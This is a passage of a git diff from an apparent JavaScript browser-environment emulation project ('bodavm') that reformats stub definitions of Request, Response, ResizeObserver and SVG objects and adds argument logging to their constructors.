bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "credentials_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "cache", { + configurable: true, + enumerable: true, + get: function cache() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "cache_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "redirect", { + configurable: true, + enumerable: true, + get: function redirect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "redirect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "integrity", { + configurable: true, + enumerable: true, + get: function integrity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "integrity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "keepalive", { + configurable: true, + enumerable: true, + get: function keepalive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "keepalive_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "signal", { + configurable: true, + enumerable: true, + get: function signal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "signal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "isHistoryNavigation", { + configurable: true, + enumerable: true, + get: function isHistoryNavigation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "isHistoryNavigation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "bodyUsed", { + configurable: true, + enumerable: true, + get: function bodyUsed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "bodyUsed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "arrayBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function arrayBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "arrayBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "blob", { + configurable: true, + enumerable: true, + writable: true, + value: function blob() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "blob", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "clone", { + configurable: true, + enumerable: true, + writable: true, + value: function clone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "clone", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "formData", { + configurable: true, + enumerable: true, + writable: true, + value: function formData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "formData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "json", { + configurable: true, + enumerable: true, + writable: true, + value: function json() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "json", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "text", { + configurable: true, + enumerable: true, + writable: true, + value: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "text", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "body", { + configurable: true, + enumerable: true, + get: function body() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "body_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ResizeObserver.js b/env_xbb_lastest_jsdom/env/ResizeObserver.js index 761abe68..5dd7b085 100644 --- a/env_xbb_lastest_jsdom/env/ResizeObserver.js +++ b/env_xbb_lastest_jsdom/env/ResizeObserver.js @@ -1,6 +1,41 @@ -// ResizeObserver对象 -bodavm.memory.globalobj['ResizeObserver'] = function ResizeObserver(){if (!(this instanceof ResizeObserver)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ResizeObserver': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ResizeObserver'], "ResizeObserver"); -bodavm.toolsFunc.defineProperty('ResizeObserver', "disconnect", {configurable:true, enumerable:true, writable:true, value:function disconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserver'].prototype, "ResizeObserver", "disconnect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ResizeObserver', "observe", {configurable:true, enumerable:true, writable:true, value:function observe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserver'].prototype, "ResizeObserver", "observe", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ResizeObserver', "unobserve", {configurable:true, enumerable:true, writable:true, value:function unobserve (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserver'].prototype, "ResizeObserver", "unobserve", arguments)}},'prototype'); +// ResizeObserver对象 + +bodavm.memory.globalobj['ResizeObserver'] = function ResizeObserver() { + console.log_copy('ResizeObserver 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ResizeObserver)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ResizeObserver': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ResizeObserver'], "ResizeObserver"); +bodavm.toolsFunc.defineProperty('ResizeObserver', "disconnect", { + configurable: true, + enumerable: true, + writable: true, + value: function disconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserver'].prototype, "ResizeObserver", "disconnect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ResizeObserver', "observe", { + configurable: true, + enumerable: true, + writable: true, + value: function observe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserver'].prototype, "ResizeObserver", "observe", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ResizeObserver', "unobserve", { + configurable: true, + enumerable: true, + writable: true, + value: function unobserve() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserver'].prototype, "ResizeObserver", "unobserve", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ResizeObserverEntry.js b/env_xbb_lastest_jsdom/env/ResizeObserverEntry.js index 5791276b..7179ce70 100644 --- a/env_xbb_lastest_jsdom/env/ResizeObserverEntry.js +++ b/env_xbb_lastest_jsdom/env/ResizeObserverEntry.js @@ -1,8 +1,57 @@ -// ResizeObserverEntry对象 -bodavm.memory.globalobj['ResizeObserverEntry'] = function ResizeObserverEntry(){if (!(this instanceof ResizeObserverEntry)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ResizeObserverEntry'], "ResizeObserverEntry"); -bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "target_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "contentRect", {configurable:true, enumerable:true, get:function contentRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "contentRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "contentBoxSize", {configurable:true, enumerable:true, get:function contentBoxSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "contentBoxSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "borderBoxSize", {configurable:true, enumerable:true, get:function borderBoxSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "borderBoxSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "devicePixelContentBoxSize", {configurable:true, enumerable:true, get:function devicePixelContentBoxSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "devicePixelContentBoxSize_get", arguments)}, set:undefined},'prototype'); +// ResizeObserverEntry对象 + +bodavm.memory.globalobj['ResizeObserverEntry'] = function ResizeObserverEntry() { + console.log_copy('ResizeObserverEntry 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ResizeObserverEntry)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ResizeObserverEntry'], "ResizeObserverEntry"); +bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "target_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "contentRect", { + configurable: true, + enumerable: true, + get: function contentRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "contentRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "contentBoxSize", { + configurable: true, + enumerable: true, + get: function contentBoxSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "contentBoxSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "borderBoxSize", { + configurable: true, + enumerable: true, + get: function borderBoxSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "borderBoxSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ResizeObserverEntry', "devicePixelContentBoxSize", { + configurable: true, + enumerable: true, + get: function devicePixelContentBoxSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverEntry'].prototype, "ResizeObserverEntry", "devicePixelContentBoxSize_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ResizeObserverSize.js b/env_xbb_lastest_jsdom/env/ResizeObserverSize.js index 5e41a7b2..a5a1de80 100644 --- a/env_xbb_lastest_jsdom/env/ResizeObserverSize.js +++ b/env_xbb_lastest_jsdom/env/ResizeObserverSize.js @@ -1,5 +1,33 @@ -// ResizeObserverSize对象 -bodavm.memory.globalobj['ResizeObserverSize'] = function ResizeObserverSize(){if (!(this instanceof ResizeObserverSize)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ResizeObserverSize'], "ResizeObserverSize"); -bodavm.toolsFunc.defineProperty('ResizeObserverSize', "inlineSize", {configurable:true, enumerable:true, get:function inlineSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverSize'].prototype, "ResizeObserverSize", "inlineSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ResizeObserverSize', "blockSize", {configurable:true, enumerable:true, get:function blockSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverSize'].prototype, "ResizeObserverSize", "blockSize_get", arguments)}, set:undefined},'prototype'); +// ResizeObserverSize对象 + +bodavm.memory.globalobj['ResizeObserverSize'] = function ResizeObserverSize() { + console.log_copy('ResizeObserverSize 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ResizeObserverSize)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ResizeObserverSize'], "ResizeObserverSize"); +bodavm.toolsFunc.defineProperty('ResizeObserverSize', "inlineSize", { + configurable: true, + enumerable: true, + get: function inlineSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverSize'].prototype, "ResizeObserverSize", "inlineSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ResizeObserverSize', "blockSize", { + configurable: true, + enumerable: true, + get: function blockSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ResizeObserverSize'].prototype, "ResizeObserverSize", "blockSize_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Response.js b/env_xbb_lastest_jsdom/env/Response.js index 8fc150ed..b9cef65f 100644 --- a/env_xbb_lastest_jsdom/env/Response.js +++ b/env_xbb_lastest_jsdom/env/Response.js @@ -1,21 +1,158 @@ -// Response对象 -bodavm.memory.globalobj['Response'] = function Response(){this._boarg= new bodaobj.window.Response();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Response'], "Response"); -bodavm.toolsFunc.defineProperty('Response', "error", {configurable:true, enumerable:true, writable:true, value:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].undefined, "Response", "error", arguments)}}); -bodavm.toolsFunc.defineProperty('Response', "json", {configurable:true, enumerable:true, writable:true, value:function json (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].undefined, "Response", "json", arguments)}}); -bodavm.toolsFunc.defineProperty('Response', "redirect", {configurable:true, enumerable:true, writable:true, value:function redirect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].undefined, "Response", "redirect", arguments)}}); -bodavm.toolsFunc.defineProperty('Response', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "redirected", {configurable:true, enumerable:true, get:function redirected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "redirected_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "status", {configurable:true, enumerable:true, get:function status (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "status_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "ok", {configurable:true, enumerable:true, get:function ok (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "ok_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "statusText", {configurable:true, enumerable:true, get:function statusText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "statusText_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "headers", {configurable:true, enumerable:true, get:function headers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "headers_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "body", {configurable:true, enumerable:true, get:function body (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "body_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "bodyUsed", {configurable:true, enumerable:true, get:function bodyUsed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "bodyUsed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "arrayBuffer", {configurable:true, enumerable:true, writable:true, value:function arrayBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "arrayBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "blob", {configurable:true, enumerable:true, writable:true, value:function blob (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "blob", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "clone", {configurable:true, enumerable:true, writable:true, value:function clone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "clone", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "formData", {configurable:true, enumerable:true, writable:true, value:function formData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "formData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "json", {configurable:true, enumerable:true, writable:true, value:function json (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "json", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "text", {configurable:true, enumerable:true, writable:true, value:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "text", arguments)}},'prototype'); +// Response对象 + +bodavm.memory.globalobj['Response'] = function Response() { + console.log_copy('Response 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Response(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Response'], "Response"); +bodavm.toolsFunc.defineProperty('Response', "error", { + configurable: true, + enumerable: true, + writable: true, + value: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].undefined, "Response", "error", arguments); + } +}); +bodavm.toolsFunc.defineProperty('Response', "json", { + configurable: true, + enumerable: true, + writable: true, + value: function json() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].undefined, "Response", "json", arguments); + } +}); +bodavm.toolsFunc.defineProperty('Response', "redirect", { + configurable: true, + enumerable: true, + writable: true, + value: function redirect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].undefined, "Response", "redirect", arguments); + } +}); +bodavm.toolsFunc.defineProperty('Response', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "redirected", { + configurable: true, + enumerable: true, + get: function redirected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "redirected_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "status", { + configurable: true, + enumerable: true, + get: function status() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "status_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "ok", { + configurable: true, + enumerable: true, + get: function ok() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "ok_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "statusText", { + configurable: true, + enumerable: true, + get: function statusText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "statusText_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "headers", { + configurable: true, + enumerable: true, + get: function headers() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "headers_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "body", { + configurable: true, + enumerable: true, + get: function body() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "body_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "bodyUsed", { + configurable: true, + enumerable: true, + get: function bodyUsed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "bodyUsed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "arrayBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function arrayBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "arrayBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "blob", { + configurable: true, + enumerable: true, + writable: true, + value: function blob() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "blob", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "clone", { + configurable: true, + enumerable: true, + writable: true, + value: function clone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "clone", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "formData", { + configurable: true, + enumerable: true, + writable: true, + value: function formData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "formData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "json", { + configurable: true, + enumerable: true, + writable: true, + value: function json() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "json", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Response', "text", { + configurable: true, + enumerable: true, + writable: true, + value: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "text", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGAElement.js b/env_xbb_lastest_jsdom/env/SVGAElement.js index 33b5b9de..631a808f 100644 --- a/env_xbb_lastest_jsdom/env/SVGAElement.js +++ b/env_xbb_lastest_jsdom/env/SVGAElement.js @@ -1,7 +1,35 @@ -// SVGAElement对象 -bodavm.memory.globalobj['SVGAElement'] = function SVGAElement(){if (!(this instanceof SVGAElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAElement'], "SVGAElement"); -bodavm.memory.globalobj['SVGAElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGAElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; -bodavm.toolsFunc.defineProperty('SVGAElement', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAElement'].prototype, "SVGAElement", "target_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAElement'].prototype, "SVGAElement", "href_get", arguments)}, set:undefined},'prototype'); +// SVGAElement对象 + +bodavm.memory.globalobj['SVGAElement'] = function SVGAElement() { + console.log_copy('SVGAElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAElement'], "SVGAElement"); +bodavm.memory.globalobj['SVGAElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGAElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; +bodavm.toolsFunc.defineProperty('SVGAElement', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAElement'].prototype, "SVGAElement", "target_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAElement'].prototype, "SVGAElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGAngle.js b/env_xbb_lastest_jsdom/env/SVGAngle.js index 398c7357..c6063ad0 100644 --- a/env_xbb_lastest_jsdom/env/SVGAngle.js +++ b/env_xbb_lastest_jsdom/env/SVGAngle.js @@ -1,19 +1,131 @@ -// SVGAngle对象 -bodavm.memory.globalobj['SVGAngle'] = function SVGAngle(){if (!(this instanceof SVGAngle)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAngle'], "SVGAngle"); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_UNSPECIFIED", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_DEG", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_RAD", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_GRAD", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGAngle', "unitType", {configurable:true, enumerable:true, get:function unitType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "unitType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "valueInSpecifiedUnits", {configurable:true, enumerable:true, get:function valueInSpecifiedUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "valueInSpecifiedUnits_get", arguments)}, set:function valueInSpecifiedUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "valueInSpecifiedUnits_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "valueAsString", {configurable:true, enumerable:true, get:function valueAsString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "valueAsString_get", arguments)}, set:function valueAsString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "valueAsString_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_UNSPECIFIED", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_DEG", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_RAD", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_GRAD", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "convertToSpecifiedUnits", {configurable:true, enumerable:true, writable:true, value:function convertToSpecifiedUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "convertToSpecifiedUnits", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "newValueSpecifiedUnits", {configurable:true, enumerable:true, writable:true, value:function newValueSpecifiedUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "newValueSpecifiedUnits", arguments)}},'prototype'); +// SVGAngle对象 + +bodavm.memory.globalobj['SVGAngle'] = function SVGAngle() { + console.log_copy('SVGAngle 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof 